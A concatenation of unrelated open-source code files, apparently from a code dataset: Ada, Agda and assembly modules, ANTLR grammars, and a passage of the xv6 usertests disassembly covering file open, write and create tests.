-- but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHAN-
-- TABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-- As a special exception under Section 7 of GPL version 3, you are granted
-- additional permissions described in the GCC Runtime Library Exception,
-- version 3.1, as published by the Free Software Foundation.
pragma License (Modified_GPL);
with Ada.Strings.Unbounded;
function SAL.Gen_Unbounded_Definite_Vectors.Gen_Image_Aux
(Item : in Vector;
Aux : in Aux_Data;
Association : in Boolean := False)
return String
is
use Ada.Strings.Unbounded;
Result : Unbounded_String := To_Unbounded_String ("(");
First : constant Base_Peek_Type := To_Peek_Type (Item.First_Index);
Last : constant Base_Peek_Type := To_Peek_Type (Item.Last_Index);
begin
for I in First .. Last loop
if Association then
Result := Result & Index_Trimmed_Image (To_Index_Type (I)) & " => ";
end if;
Result := Result & Element_Image (Item.Elements (I), Aux);
if I /= Last then
Result := Result & ", ";
end if;
end loop;
Result := Result & ")";
return To_String (Result);
end SAL.Gen_Unbounded_Definite_Vectors.Gen_Image_Aux;
|
Library/Game/Content/contentManager.asm | steakknife/pcgeos | 504 | 84710 | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: contentManager.asm
AUTHOR: <NAME>
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 3/ 8/92 Initial version.
DESCRIPTION:
$Id: contentManager.asm,v 1.1 97/04/04 18:04:31 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
include gameGeode.def
GameClassStructures segment resource
GameContentClass
GameClassStructures ends
include contentGame.asm
;include contentCards.asm
|
test/Fail/Issue4205.agda | cruhland/agda | 1,989 | 12878 | -- Andreas, 2019-12-03, issue #4205, reported by Smaug123,
-- first shrinking by <NAME>
record R : Set₂ where
field
f : Set₁
postulate
r : R
open R r
test : R
R.f test with Set₃
f test | _ = Set
-- WAS: internal error in getOriginalProjection
-- EXPECTED:
-- With clause pattern f is not an instance of its parent pattern R.f
-- when checking that the clause
-- R.f test with Set₃
-- f test | _ = Set
-- has type R
|
examples/outdated-and-incorrect/cat/Iso.agda | asr/agda-kanso | 1 | 14339 | <reponame>asr/agda-kanso
open import Category
module Iso (ℂ : Cat) where
private open module C = Cat (η-Cat ℂ)
data _≅_ (A B : Obj) : Set where
iso : (i : A ─→ B)(j : B ─→ A) ->
i ∘ j == id -> j ∘ i == id ->
A ≅ B
|
example/send_byte.adb | 0xA1/pi-spi | 0 | 202 | with ada.text_io; use ada.text_io;
with spi; use spi;
with stdint_h; use stdint_h;
with Interfaces.C.Strings; use Interfaces.C.Strings;
with ada.command_line; use ada.command_line;
with ada.exceptions; use ada.exceptions;
procedure Send_Byte is
device : aliased SPI_Device;
tx_buf : aliased uint8_t;
rx_buf : aliased uint8_t;
procedure display_usage is
begin
put_line("Usage: ada_send_byte [DEVICE_PATH] [BYTE]\n");
put_line(" DEVICE_PATH: Full path to SPI device file.\n");
put_line(" BYTE: Byte to send (in hexidecimal)\n");
end display_usage;
begin
-- Validate argument count --
if argument_count < 2 then
display_usage;
return;
end if;
-- Convert byte parameter to binary --
tx_buf := uint8_t'value("16#" & argument(2) & "#");
-- Open the SPI device --
Open(Device => device'access,
Device_Path => New_String(argument(1)),
Mode => 0,
Bits => 8,
Freq => 20000);
-- Transfer one byte over SPI --
Transfer(Device => device'access,
Transmit_Buffer => tx_buf'access,
Receive_Buffer => rx_buf'access,
C_Delay => 0,
Length => 1);
-- Close the SPI device --
Close(Device => device'access);
exception
when error: others =>
put(Exception_Information(error));
end Send_Byte;
|
examples/ivt.asm | michalmalik/pvm | 2 | 17619 | <reponame>michalmalik/pvm
#define IVT_ADDRESS 0x500
#define IVT_SYSCALL 0x80
.ivt_size DAT 0
; IN
; +1 Interrupt handler
; +2 Offset
; OUT
; None
:register_irq
STO Z,SP
STO Y,[Z+1] ; interrupt handler
STO C,[Z+2] ; interrupt offset
STO [IVT_ADDRESS+C],Y ; save the interrupt handler
ADD [ivt_size],1
STO SP,Z
RET
; IN
; None
; OUT
; None
:build_ivt
IAR handle_software_interrupt
PUSH IVT_SYSCALL
PUSH handle_ivt_syscall
JTR register_irq
ADD SP,2
RET
; IN
; A IA
; OUT
; None
:handle_software_interrupt
STO Y,[IVT_ADDRESS+A]
JTR Y
RETI
#define SYSCALL_WRITE_MEM 0x1
; System call is fully defined by
; register B, which defines what
; type of system call will be called
; IN
; B syscall type
; OUT
; None
:handle_ivt_syscall
IFE B,SYSCALL_WRITE_MEM
JTR syscall_write_mem
RET
; IN
; X destination address
; C value
; D count
; OUT
; None
:syscall_write_mem
PUSH D
PUSH C
PUSH X
JTR write_mem
ADD SP,3
RET |
tools/trusted-build/edu.umn.cs.crisys.tb/src/edu/umn/cs/crisys/tb/parse/antlr/SendsTo.g4 | drwhomphd/formal-methods-workbench | 27 | 178 | grammar SendsTo;
@header {
package edu.umn.cs.crisys.tb.parse.antlr;
}
program: '{' '}' EOF
| '{' sends_to_tl (',' sends_to_tl)* '}' EOF;
sends_to_tl: '{' '}'
| '{' INT ID (',' INT ID)* '}' ;
REAL: INT '.' INT;
BOOL: 'true' | 'false';
INT: [0-9]+;
ID: [a-zA-Z_][a-zA-Z_0-9]*;
WS: [ \t\n\r\f]+ -> skip;
SL_COMMENT: '//' (~[%\n\r] ~[\n\r]* | /* empty */) ('\r'? '\n')? -> skip;
ML_COMMENT: '/*' .*? '*/' -> skip;
ERROR: .;
|
projects/batfish-common-protocol/src/test/antlr4/org/batfish/grammar/recovery/RecoveryParser.g4 | zabrewer/batfish | 763 | 1140 | parser grammar RecoveryParser;
options {
superClass = 'org.batfish.grammar.BatfishParser';
tokenVocab = RecoveryLexer;
}
block_statement
:
BLOCK tail_word* NEWLINE inner_statement*
;
inner_statement
:
INNER tail_word* NEWLINE
;
statement
:
block_statement
| simple_statement
;
recovery
:
statement* EOF
;
simple_statement
:
SIMPLE tail_word* NEWLINE
;
tail_word
:
BLOCK
| INNER
| SIMPLE
;
|
old/Homotopy/Connected.agda | timjb/HoTT-Agda | 294 | 3048 | {-# OPTIONS --without-K #-}
open import Base
open import Homotopy.Truncation
module Homotopy.Connected {i} where
is-connected : ℕ₋₂ → Set i → Set i
is-connected n A = is-contr (τ n A)
is-connected-is-prop : (n : ℕ₋₂) {A : Set i} → is-prop (is-connected n A)
is-connected-is-prop n = is-contr-is-prop
has-connected-fibers : {A B : Set i} → ℕ₋₂ → (A → B) → Set i
has-connected-fibers n f = ∀ x → is-connected n (hfiber f x)
module _ (n : ℕ₋₂) (A : Set i) where
private
τ-to-ττ : τ n A → τ n (τ (S n) A)
τ-to-ττ = τ-extend-nondep (proj ◯ proj)
τ-is-truncated-S : is-truncated (S n) (τ n A)
τ-is-truncated-S = truncated-is-truncated-S n (τ-is-truncated n A)
ττ-to-τ : τ n (τ (S n) A) → τ n A
ττ-to-τ = τ-extend-nondep (τ-extend-nondep proj)
τ-inv-ττ : (x : τ n A) → ττ-to-τ (τ-to-ττ x) ≡ x
τ-inv-ττ = τ-extend ⦃ λ _ → ≡-is-truncated n (τ-is-truncated n A) ⦄
(λ _ → refl)
ττ-inv-τ : (x : τ n (τ (S n) A)) → τ-to-ττ (ττ-to-τ x) ≡ x
ττ-inv-τ = τ-extend ⦃ λ _ → ≡-is-truncated n (τ-is-truncated n _) ⦄
(τ-extend ⦃ λ _ → truncated-is-truncated-S n
(≡-is-truncated n
(τ-is-truncated n _)) ⦄
(λ _ → refl))
τ-equiv-ττ : τ n A ≃ τ n (τ (S n) A)
τ-equiv-ττ = (τ-to-ττ , iso-is-eq _ ττ-to-τ ττ-inv-τ τ-inv-ττ)
ττ-equiv-τ : τ n (τ (S n) A) ≃ τ n A
ττ-equiv-τ = (ττ-to-τ , iso-is-eq _ τ-to-ττ τ-inv-ττ ττ-inv-τ)
abstract
contr-is-connected : (n : ℕ₋₂) {A : Set i}
→ (is-contr A → is-connected n A)
contr-is-connected n (x , p) =
(proj x , τ-extend ⦃ λ _ → ≡-is-truncated n (τ-is-truncated n _) ⦄
(λ _ → ap proj (contr-has-all-paths (x , p) _ _)))
connected-S-is-connected : (n : ℕ₋₂) {A : Set i}
→ (is-connected (S n) A → is-connected n A)
connected-S-is-connected n p =
equiv-types-truncated _ (ττ-equiv-τ n _) (contr-is-connected n p)
app-is-inj : ∀ {j} {A : Set i} {B : Set j} {n : ℕ₋₂} {f g : A → B} (x₀ : A)
→ (is-connected n A → is-truncated n B → f x₀ ≡ g x₀ → f ≡ g)
app-is-inj x₀ p q e = equiv-is-inj (τ-extend-equiv _ _ _) _ _
(funext (contr-has-section p (proj x₀) e))
|
usertests.asm | jhsie007/xv6 | 0 | 173718 | <reponame>jhsie007/xv6
_usertests: file format elf32-i386
Disassembly of section .text:
00001000 <opentest>:
// simple file system tests
void
opentest(void)
{
1000: 55 push %ebp
1001: 89 e5 mov %esp,%ebp
1003: 83 ec 28 sub $0x28,%esp
int fd;
printf(stdout, "open test\n");
1006: a1 c8 72 00 00 mov 0x72c8,%eax
100b: c7 44 24 04 1a 54 00 movl $0x541a,0x4(%esp)
1012: 00
1013: 89 04 24 mov %eax,(%esp)
1016: e8 a5 3d 00 00 call 4dc0 <printf>
fd = open("echo", 0);
101b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1022: 00
1023: c7 04 24 04 54 00 00 movl $0x5404,(%esp)
102a: e8 29 3c 00 00 call 4c58 <open>
102f: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
1032: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1036: 79 1a jns 1052 <opentest+0x52>
printf(stdout, "open echo failed!\n");
1038: a1 c8 72 00 00 mov 0x72c8,%eax
103d: c7 44 24 04 25 54 00 movl $0x5425,0x4(%esp)
1044: 00
1045: 89 04 24 mov %eax,(%esp)
1048: e8 73 3d 00 00 call 4dc0 <printf>
exit();
104d: e8 c6 3b 00 00 call 4c18 <exit>
}
close(fd);
1052: 8b 45 f4 mov -0xc(%ebp),%eax
1055: 89 04 24 mov %eax,(%esp)
1058: e8 e3 3b 00 00 call 4c40 <close>
fd = open("doesnotexist", 0);
105d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1064: 00
1065: c7 04 24 38 54 00 00 movl $0x5438,(%esp)
106c: e8 e7 3b 00 00 call 4c58 <open>
1071: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd >= 0){
1074: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1078: 78 1a js 1094 <opentest+0x94>
printf(stdout, "open doesnotexist succeeded!\n");
107a: a1 c8 72 00 00 mov 0x72c8,%eax
107f: c7 44 24 04 45 54 00 movl $0x5445,0x4(%esp)
1086: 00
1087: 89 04 24 mov %eax,(%esp)
108a: e8 31 3d 00 00 call 4dc0 <printf>
exit();
108f: e8 84 3b 00 00 call 4c18 <exit>
}
printf(stdout, "open test ok\n");
1094: a1 c8 72 00 00 mov 0x72c8,%eax
1099: c7 44 24 04 63 54 00 movl $0x5463,0x4(%esp)
10a0: 00
10a1: 89 04 24 mov %eax,(%esp)
10a4: e8 17 3d 00 00 call 4dc0 <printf>
}
10a9: c9 leave
10aa: c3 ret
000010ab <writetest>:
void
writetest(void)
{
10ab: 55 push %ebp
10ac: 89 e5 mov %esp,%ebp
10ae: 83 ec 28 sub $0x28,%esp
int fd;
int i;
printf(stdout, "small file test\n");
10b1: a1 c8 72 00 00 mov 0x72c8,%eax
10b6: c7 44 24 04 71 54 00 movl $0x5471,0x4(%esp)
10bd: 00
10be: 89 04 24 mov %eax,(%esp)
10c1: e8 fa 3c 00 00 call 4dc0 <printf>
fd = open("small", O_CREATE|O_RDWR);
10c6: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
10cd: 00
10ce: c7 04 24 82 54 00 00 movl $0x5482,(%esp)
10d5: e8 7e 3b 00 00 call 4c58 <open>
10da: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd >= 0){
10dd: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
10e1: 78 21 js 1104 <writetest+0x59>
printf(stdout, "creat small succeeded; ok\n");
10e3: a1 c8 72 00 00 mov 0x72c8,%eax
10e8: c7 44 24 04 88 54 00 movl $0x5488,0x4(%esp)
10ef: 00
10f0: 89 04 24 mov %eax,(%esp)
10f3: e8 c8 3c 00 00 call 4dc0 <printf>
} else {
printf(stdout, "error: creat small failed!\n");
exit();
}
for(i = 0; i < 100; i++){
10f8: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
10ff: e9 a0 00 00 00 jmp 11a4 <writetest+0xf9>
printf(stdout, "small file test\n");
fd = open("small", O_CREATE|O_RDWR);
if(fd >= 0){
printf(stdout, "creat small succeeded; ok\n");
} else {
printf(stdout, "error: creat small failed!\n");
1104: a1 c8 72 00 00 mov 0x72c8,%eax
1109: c7 44 24 04 a3 54 00 movl $0x54a3,0x4(%esp)
1110: 00
1111: 89 04 24 mov %eax,(%esp)
1114: e8 a7 3c 00 00 call 4dc0 <printf>
exit();
1119: e8 fa 3a 00 00 call 4c18 <exit>
}
for(i = 0; i < 100; i++){
if(write(fd, "aaaaaaaaaa", 10) != 10){
111e: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
1125: 00
1126: c7 44 24 04 bf 54 00 movl $0x54bf,0x4(%esp)
112d: 00
112e: 8b 45 f0 mov -0x10(%ebp),%eax
1131: 89 04 24 mov %eax,(%esp)
1134: e8 ff 3a 00 00 call 4c38 <write>
1139: 83 f8 0a cmp $0xa,%eax
113c: 74 21 je 115f <writetest+0xb4>
printf(stdout, "error: write aa %d new file failed\n", i);
113e: a1 c8 72 00 00 mov 0x72c8,%eax
1143: 8b 55 f4 mov -0xc(%ebp),%edx
1146: 89 54 24 08 mov %edx,0x8(%esp)
114a: c7 44 24 04 cc 54 00 movl $0x54cc,0x4(%esp)
1151: 00
1152: 89 04 24 mov %eax,(%esp)
1155: e8 66 3c 00 00 call 4dc0 <printf>
exit();
115a: e8 b9 3a 00 00 call 4c18 <exit>
}
if(write(fd, "bbbbbbbbbb", 10) != 10){
115f: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
1166: 00
1167: c7 44 24 04 f0 54 00 movl $0x54f0,0x4(%esp)
116e: 00
116f: 8b 45 f0 mov -0x10(%ebp),%eax
1172: 89 04 24 mov %eax,(%esp)
1175: e8 be 3a 00 00 call 4c38 <write>
117a: 83 f8 0a cmp $0xa,%eax
117d: 74 21 je 11a0 <writetest+0xf5>
printf(stdout, "error: write bb %d new file failed\n", i);
117f: a1 c8 72 00 00 mov 0x72c8,%eax
1184: 8b 55 f4 mov -0xc(%ebp),%edx
1187: 89 54 24 08 mov %edx,0x8(%esp)
118b: c7 44 24 04 fc 54 00 movl $0x54fc,0x4(%esp)
1192: 00
1193: 89 04 24 mov %eax,(%esp)
1196: e8 25 3c 00 00 call 4dc0 <printf>
exit();
119b: e8 78 3a 00 00 call 4c18 <exit>
printf(stdout, "creat small succeeded; ok\n");
} else {
printf(stdout, "error: creat small failed!\n");
exit();
}
for(i = 0; i < 100; i++){
11a0: 83 45 f4 01 addl $0x1,-0xc(%ebp)
11a4: 83 7d f4 63 cmpl $0x63,-0xc(%ebp)
11a8: 0f 8e 70 ff ff ff jle 111e <writetest+0x73>
if(write(fd, "bbbbbbbbbb", 10) != 10){
printf(stdout, "error: write bb %d new file failed\n", i);
exit();
}
}
printf(stdout, "writes ok\n");
11ae: a1 c8 72 00 00 mov 0x72c8,%eax
11b3: c7 44 24 04 20 55 00 movl $0x5520,0x4(%esp)
11ba: 00
11bb: 89 04 24 mov %eax,(%esp)
11be: e8 fd 3b 00 00 call 4dc0 <printf>
close(fd);
11c3: 8b 45 f0 mov -0x10(%ebp),%eax
11c6: 89 04 24 mov %eax,(%esp)
11c9: e8 72 3a 00 00 call 4c40 <close>
fd = open("small", O_RDONLY);
11ce: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
11d5: 00
11d6: c7 04 24 82 54 00 00 movl $0x5482,(%esp)
11dd: e8 76 3a 00 00 call 4c58 <open>
11e2: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd >= 0){
11e5: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
11e9: 78 3e js 1229 <writetest+0x17e>
printf(stdout, "open small succeeded ok\n");
11eb: a1 c8 72 00 00 mov 0x72c8,%eax
11f0: c7 44 24 04 2b 55 00 movl $0x552b,0x4(%esp)
11f7: 00
11f8: 89 04 24 mov %eax,(%esp)
11fb: e8 c0 3b 00 00 call 4dc0 <printf>
} else {
printf(stdout, "error: open small failed!\n");
exit();
}
i = read(fd, buf, 2000);
1200: c7 44 24 08 d0 07 00 movl $0x7d0,0x8(%esp)
1207: 00
1208: c7 44 24 04 c0 9a 00 movl $0x9ac0,0x4(%esp)
120f: 00
1210: 8b 45 f0 mov -0x10(%ebp),%eax
1213: 89 04 24 mov %eax,(%esp)
1216: e8 15 3a 00 00 call 4c30 <read>
121b: 89 45 f4 mov %eax,-0xc(%ebp)
if(i == 2000){
121e: 81 7d f4 d0 07 00 00 cmpl $0x7d0,-0xc(%ebp)
1225: 75 4e jne 1275 <writetest+0x1ca>
1227: eb 1a jmp 1243 <writetest+0x198>
close(fd);
fd = open("small", O_RDONLY);
if(fd >= 0){
printf(stdout, "open small succeeded ok\n");
} else {
printf(stdout, "error: open small failed!\n");
1229: a1 c8 72 00 00 mov 0x72c8,%eax
122e: c7 44 24 04 44 55 00 movl $0x5544,0x4(%esp)
1235: 00
1236: 89 04 24 mov %eax,(%esp)
1239: e8 82 3b 00 00 call 4dc0 <printf>
exit();
123e: e8 d5 39 00 00 call 4c18 <exit>
}
i = read(fd, buf, 2000);
if(i == 2000){
printf(stdout, "read succeeded ok\n");
1243: a1 c8 72 00 00 mov 0x72c8,%eax
1248: c7 44 24 04 5f 55 00 movl $0x555f,0x4(%esp)
124f: 00
1250: 89 04 24 mov %eax,(%esp)
1253: e8 68 3b 00 00 call 4dc0 <printf>
} else {
printf(stdout, "read failed\n");
exit();
}
close(fd);
1258: 8b 45 f0 mov -0x10(%ebp),%eax
125b: 89 04 24 mov %eax,(%esp)
125e: e8 dd 39 00 00 call 4c40 <close>
if(unlink("small") < 0){
1263: c7 04 24 82 54 00 00 movl $0x5482,(%esp)
126a: e8 f9 39 00 00 call 4c68 <unlink>
126f: 85 c0 test %eax,%eax
1271: 79 36 jns 12a9 <writetest+0x1fe>
1273: eb 1a jmp 128f <writetest+0x1e4>
}
i = read(fd, buf, 2000);
if(i == 2000){
printf(stdout, "read succeeded ok\n");
} else {
printf(stdout, "read failed\n");
1275: a1 c8 72 00 00 mov 0x72c8,%eax
127a: c7 44 24 04 72 55 00 movl $0x5572,0x4(%esp)
1281: 00
1282: 89 04 24 mov %eax,(%esp)
1285: e8 36 3b 00 00 call 4dc0 <printf>
exit();
128a: e8 89 39 00 00 call 4c18 <exit>
}
close(fd);
if(unlink("small") < 0){
printf(stdout, "unlink small failed\n");
128f: a1 c8 72 00 00 mov 0x72c8,%eax
1294: c7 44 24 04 7f 55 00 movl $0x557f,0x4(%esp)
129b: 00
129c: 89 04 24 mov %eax,(%esp)
129f: e8 1c 3b 00 00 call 4dc0 <printf>
exit();
12a4: e8 6f 39 00 00 call 4c18 <exit>
}
printf(stdout, "small file test ok\n");
12a9: a1 c8 72 00 00 mov 0x72c8,%eax
12ae: c7 44 24 04 94 55 00 movl $0x5594,0x4(%esp)
12b5: 00
12b6: 89 04 24 mov %eax,(%esp)
12b9: e8 02 3b 00 00 call 4dc0 <printf>
}
12be: c9 leave
12bf: c3 ret
000012c0 <writetest1>:
void
writetest1(void)
{
12c0: 55 push %ebp
12c1: 89 e5 mov %esp,%ebp
12c3: 83 ec 28 sub $0x28,%esp
int i, fd, n;
printf(stdout, "big files test\n");
12c6: a1 c8 72 00 00 mov 0x72c8,%eax
12cb: c7 44 24 04 a8 55 00 movl $0x55a8,0x4(%esp)
12d2: 00
12d3: 89 04 24 mov %eax,(%esp)
12d6: e8 e5 3a 00 00 call 4dc0 <printf>
fd = open("big", O_CREATE|O_RDWR);
12db: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
12e2: 00
12e3: c7 04 24 b8 55 00 00 movl $0x55b8,(%esp)
12ea: e8 69 39 00 00 call 4c58 <open>
12ef: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
12f2: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
12f6: 79 1a jns 1312 <writetest1+0x52>
printf(stdout, "error: creat big failed!\n");
12f8: a1 c8 72 00 00 mov 0x72c8,%eax
12fd: c7 44 24 04 bc 55 00 movl $0x55bc,0x4(%esp)
1304: 00
1305: 89 04 24 mov %eax,(%esp)
1308: e8 b3 3a 00 00 call 4dc0 <printf>
exit();
130d: e8 06 39 00 00 call 4c18 <exit>
}
for(i = 0; i < MAXFILE; i++){
1312: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1319: eb 51 jmp 136c <writetest1+0xac>
((int*)buf)[0] = i;
131b: b8 c0 9a 00 00 mov $0x9ac0,%eax
1320: 8b 55 f4 mov -0xc(%ebp),%edx
1323: 89 10 mov %edx,(%eax)
if(write(fd, buf, 512) != 512){
1325: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
132c: 00
132d: c7 44 24 04 c0 9a 00 movl $0x9ac0,0x4(%esp)
1334: 00
1335: 8b 45 ec mov -0x14(%ebp),%eax
1338: 89 04 24 mov %eax,(%esp)
133b: e8 f8 38 00 00 call 4c38 <write>
1340: 3d 00 02 00 00 cmp $0x200,%eax
1345: 74 21 je 1368 <writetest1+0xa8>
printf(stdout, "error: write big file failed\n", i);
1347: a1 c8 72 00 00 mov 0x72c8,%eax
134c: 8b 55 f4 mov -0xc(%ebp),%edx
134f: 89 54 24 08 mov %edx,0x8(%esp)
1353: c7 44 24 04 d6 55 00 movl $0x55d6,0x4(%esp)
135a: 00
135b: 89 04 24 mov %eax,(%esp)
135e: e8 5d 3a 00 00 call 4dc0 <printf>
exit();
1363: e8 b0 38 00 00 call 4c18 <exit>
if(fd < 0){
printf(stdout, "error: creat big failed!\n");
exit();
}
for(i = 0; i < MAXFILE; i++){
1368: 83 45 f4 01 addl $0x1,-0xc(%ebp)
136c: 8b 45 f4 mov -0xc(%ebp),%eax
136f: 3d 8b 00 00 00 cmp $0x8b,%eax
1374: 76 a5 jbe 131b <writetest1+0x5b>
printf(stdout, "error: write big file failed\n", i);
exit();
}
}
close(fd);
1376: 8b 45 ec mov -0x14(%ebp),%eax
1379: 89 04 24 mov %eax,(%esp)
137c: e8 bf 38 00 00 call 4c40 <close>
fd = open("big", O_RDONLY);
1381: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1388: 00
1389: c7 04 24 b8 55 00 00 movl $0x55b8,(%esp)
1390: e8 c3 38 00 00 call 4c58 <open>
1395: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
1398: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
139c: 79 1a jns 13b8 <writetest1+0xf8>
printf(stdout, "error: open big failed!\n");
139e: a1 c8 72 00 00 mov 0x72c8,%eax
13a3: c7 44 24 04 f4 55 00 movl $0x55f4,0x4(%esp)
13aa: 00
13ab: 89 04 24 mov %eax,(%esp)
13ae: e8 0d 3a 00 00 call 4dc0 <printf>
exit();
13b3: e8 60 38 00 00 call 4c18 <exit>
}
n = 0;
13b8: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
for(;;){
i = read(fd, buf, 512);
13bf: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
13c6: 00
13c7: c7 44 24 04 c0 9a 00 movl $0x9ac0,0x4(%esp)
13ce: 00
13cf: 8b 45 ec mov -0x14(%ebp),%eax
13d2: 89 04 24 mov %eax,(%esp)
13d5: e8 56 38 00 00 call 4c30 <read>
13da: 89 45 f4 mov %eax,-0xc(%ebp)
if(i == 0){
13dd: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
13e1: 75 4c jne 142f <writetest1+0x16f>
if(n == MAXFILE - 1){
13e3: 81 7d f0 8b 00 00 00 cmpl $0x8b,-0x10(%ebp)
13ea: 75 21 jne 140d <writetest1+0x14d>
printf(stdout, "read only %d blocks from big", n);
13ec: a1 c8 72 00 00 mov 0x72c8,%eax
13f1: 8b 55 f0 mov -0x10(%ebp),%edx
13f4: 89 54 24 08 mov %edx,0x8(%esp)
13f8: c7 44 24 04 0d 56 00 movl $0x560d,0x4(%esp)
13ff: 00
1400: 89 04 24 mov %eax,(%esp)
1403: e8 b8 39 00 00 call 4dc0 <printf>
exit();
1408: e8 0b 38 00 00 call 4c18 <exit>
}
break;
140d: 90 nop
n, ((int*)buf)[0]);
exit();
}
n++;
}
close(fd);
140e: 8b 45 ec mov -0x14(%ebp),%eax
1411: 89 04 24 mov %eax,(%esp)
1414: e8 27 38 00 00 call 4c40 <close>
if(unlink("big") < 0){
1419: c7 04 24 b8 55 00 00 movl $0x55b8,(%esp)
1420: e8 43 38 00 00 call 4c68 <unlink>
1425: 85 c0 test %eax,%eax
1427: 0f 89 87 00 00 00 jns 14b4 <writetest1+0x1f4>
142d: eb 6b jmp 149a <writetest1+0x1da>
if(n == MAXFILE - 1){
printf(stdout, "read only %d blocks from big", n);
exit();
}
break;
} else if(i != 512){
142f: 81 7d f4 00 02 00 00 cmpl $0x200,-0xc(%ebp)
1436: 74 21 je 1459 <writetest1+0x199>
printf(stdout, "read failed %d\n", i);
1438: a1 c8 72 00 00 mov 0x72c8,%eax
143d: 8b 55 f4 mov -0xc(%ebp),%edx
1440: 89 54 24 08 mov %edx,0x8(%esp)
1444: c7 44 24 04 2a 56 00 movl $0x562a,0x4(%esp)
144b: 00
144c: 89 04 24 mov %eax,(%esp)
144f: e8 6c 39 00 00 call 4dc0 <printf>
exit();
1454: e8 bf 37 00 00 call 4c18 <exit>
}
if(((int*)buf)[0] != n){
1459: b8 c0 9a 00 00 mov $0x9ac0,%eax
145e: 8b 00 mov (%eax),%eax
1460: 3b 45 f0 cmp -0x10(%ebp),%eax
1463: 74 2c je 1491 <writetest1+0x1d1>
printf(stdout, "read content of block %d is %d\n",
n, ((int*)buf)[0]);
1465: b8 c0 9a 00 00 mov $0x9ac0,%eax
} else if(i != 512){
printf(stdout, "read failed %d\n", i);
exit();
}
if(((int*)buf)[0] != n){
printf(stdout, "read content of block %d is %d\n",
146a: 8b 10 mov (%eax),%edx
146c: a1 c8 72 00 00 mov 0x72c8,%eax
1471: 89 54 24 0c mov %edx,0xc(%esp)
1475: 8b 55 f0 mov -0x10(%ebp),%edx
1478: 89 54 24 08 mov %edx,0x8(%esp)
147c: c7 44 24 04 3c 56 00 movl $0x563c,0x4(%esp)
1483: 00
1484: 89 04 24 mov %eax,(%esp)
1487: e8 34 39 00 00 call 4dc0 <printf>
n, ((int*)buf)[0]);
exit();
148c: e8 87 37 00 00 call 4c18 <exit>
}
n++;
1491: 83 45 f0 01 addl $0x1,-0x10(%ebp)
}
1495: e9 25 ff ff ff jmp 13bf <writetest1+0xff>
close(fd);
if(unlink("big") < 0){
printf(stdout, "unlink big failed\n");
149a: a1 c8 72 00 00 mov 0x72c8,%eax
149f: c7 44 24 04 5c 56 00 movl $0x565c,0x4(%esp)
14a6: 00
14a7: 89 04 24 mov %eax,(%esp)
14aa: e8 11 39 00 00 call 4dc0 <printf>
exit();
14af: e8 64 37 00 00 call 4c18 <exit>
}
printf(stdout, "big files ok\n");
14b4: a1 c8 72 00 00 mov 0x72c8,%eax
14b9: c7 44 24 04 6f 56 00 movl $0x566f,0x4(%esp)
14c0: 00
14c1: 89 04 24 mov %eax,(%esp)
14c4: e8 f7 38 00 00 call 4dc0 <printf>
}
14c9: c9 leave
14ca: c3 ret
000014cb <createtest>:
void
createtest(void)
{
14cb: 55 push %ebp
14cc: 89 e5 mov %esp,%ebp
14ce: 83 ec 28 sub $0x28,%esp
int i, fd;
printf(stdout, "many creates, followed by unlink test\n");
14d1: a1 c8 72 00 00 mov 0x72c8,%eax
14d6: c7 44 24 04 80 56 00 movl $0x5680,0x4(%esp)
14dd: 00
14de: 89 04 24 mov %eax,(%esp)
14e1: e8 da 38 00 00 call 4dc0 <printf>
name[0] = 'a';
14e6: c6 05 c0 ba 00 00 61 movb $0x61,0xbac0
name[2] = '\0';
14ed: c6 05 c2 ba 00 00 00 movb $0x0,0xbac2
for(i = 0; i < 52; i++){
14f4: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
14fb: eb 31 jmp 152e <createtest+0x63>
name[1] = '0' + i;
14fd: 8b 45 f4 mov -0xc(%ebp),%eax
1500: 83 c0 30 add $0x30,%eax
1503: a2 c1 ba 00 00 mov %al,0xbac1
fd = open(name, O_CREATE|O_RDWR);
1508: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
150f: 00
1510: c7 04 24 c0 ba 00 00 movl $0xbac0,(%esp)
1517: e8 3c 37 00 00 call 4c58 <open>
151c: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
151f: 8b 45 f0 mov -0x10(%ebp),%eax
1522: 89 04 24 mov %eax,(%esp)
1525: e8 16 37 00 00 call 4c40 <close>
printf(stdout, "many creates, followed by unlink test\n");
name[0] = 'a';
name[2] = '\0';
for(i = 0; i < 52; i++){
152a: 83 45 f4 01 addl $0x1,-0xc(%ebp)
152e: 83 7d f4 33 cmpl $0x33,-0xc(%ebp)
1532: 7e c9 jle 14fd <createtest+0x32>
